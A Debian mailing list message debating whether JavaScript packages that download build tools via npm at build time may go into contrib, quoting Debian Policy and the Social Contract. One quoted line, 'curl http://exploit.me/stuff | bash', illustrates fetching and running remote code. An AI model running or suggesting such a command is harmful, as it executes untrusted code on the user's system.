2017-10-03 19:34 GMT+02:00 Gunnar Wolf <gw...@debian.org>: > Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]: > > > I am completely with Sean here; I read the following messages, and am > > > happy a better resolution was found. But, FWIW, I'll support Sean's > > > interpretation - Contrib and non-free are *not* places where we can > > > happily breach any bits of policy; they are exclusively for things > > > that cannot be shipped in Debian Main due to their DFSG status. > > > > I cannot accept arbitrary interpretations of policy. When build tools > > are not available in main, they cannot go to main, and if the software > > itself is Free Software, it can go to contrib. If you disagree, please > > get the policy clarified. As per the current policy, these packages > > clearly qualified for contrib and these were already accepted by ftp > > masters into the archive. You could go to CTTE and challenge the > > decision of ftp masters. > > Let me quote the Debian Social Contract: > > Works that do not meet our free software standards > > We acknowledge that some of our users require the use of works that do > not conform to the Debian Free Software Guidelines. We have created > "contrib" and "non-free" areas in our archive for these > works. (...) > > So, contrib is _explicitly_ meant for software that does not meet the > DFSG, not for random stuff that cannot be packaged for convenience or > different issues. > > According to Policy, section 2: > > Packages in the other archive areas (contrib, non-free) are not > considered to be part of the Debian distribution, although we > support their use and provide infrastructure for them (such as our > bug-tracking system and mailing lists). This Debian Policy Manual > applies to these packages as well. > > Policy says that all packages in contrib and non-free should be policy > compliant. Further, in 2.2.2: > > The contrib archive area contains supplemental packages intended > to work with the Debian distribution, but which require software > outside of the distribution to either build or function. > > Every package in contrib must comply with the DFSG. > > In addition, the packages in contrib > > • must not be so buggy that we refuse to support them, and > • must meet all policy requirements presented in this manual. > > For this section, yes, I will be making interpretation - But I hold > that we would be hard-pressed to provide support for something built > with a compiler downloaded at build time. Maybe, as Simon suggests, if > your debian/ includes hashes for the compiler version being > used (and everything it pulls in via npm)... But in that case, it's > probably better to include the tar.gz as part of your debian/ > > I *do* take note, however, of: > > Examples of packages which would be included in contrib are: > > • free packages which require contrib, non-free packages or packages > which are not in our archive at all for compilation or execution, > and > • wrapper packages or other sorts of free accessories for > non-free programs. > > The first point would seem to cover your use case. However, it's not > necessarily covering (...) compilation or execution via code just > downloaded. It does not cover the equivalent of > "curl http://exploit.me/stuff | bash" > > > Alternatively, those who care enough about the issue can help get these > > tools into main. I have been doing just that over the last years (grunt, > > gulp, babel, jison, webpack to name a few, each with 100s of > > dependencies) so many of the packages currently in main could go there. > > Since the tools are just so many and the people packaging them are > > handful, it will take quite a while for all these tools to be in main > > and I'm going to continue using contrib for these packages until that > time. > > > > You can also check the record of people who are most vocal over the > > issue (not just in this thread, but in earlier discussions about > > handlebars/dfsg/browserify) and compare who is helping fix the issue and > > who is just talking. > > In this case, I'm clearly in the group of those who are somewhat > vocal, and are not helping your efforts. Well, I did quite a bit of > effort in a related matter with the work I put into packaging Drupal8, > which I dropped in the end¹ precisely due to it not being cleanly > packagable for Debian. > > ¹ http://gwolf.org/node/4087 > > > > And, yes, network access during a build... Is a clear no-go. Specially > > > if as a project we are committed to this so neat Reproducible Builds > > > thingy that has made so many among us proud to be part a project where > > > an ages-long problem is finally being tackled - And quite > > > successfully, even! > > > > I thought building these things (making sure the source corresponds to > > the distributed binaries), though using tools outside archive, was > > preferred over shipping pre-built binaries. But it seems shipping > > pre-built binaries are preferred. It looks to me like a misplaced > > compromise, but I will follow this advice and ship pre-built binaries > > next time without building them using npm. > > I would strongly prefer to ship pre-built binaries as part of your > environment in debian/. > > I guess the ftp-masters approved the packages you mention as they > *looked* sane, but not because of a deeper inspection of how they were > built. I see² you have 17 packages in contrib, out of which 14 are > node-*. Do they all use npm? Would you appreciate if I took a look at > them and filed bugs accordingly to ask for ftp-masters' opinion? > > ² https://qa.debian.org/developer.php?login=prav...@onenetbeyond.org
It might be a good idea to make policy more explicit about downloads during build. Jérémy
-- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel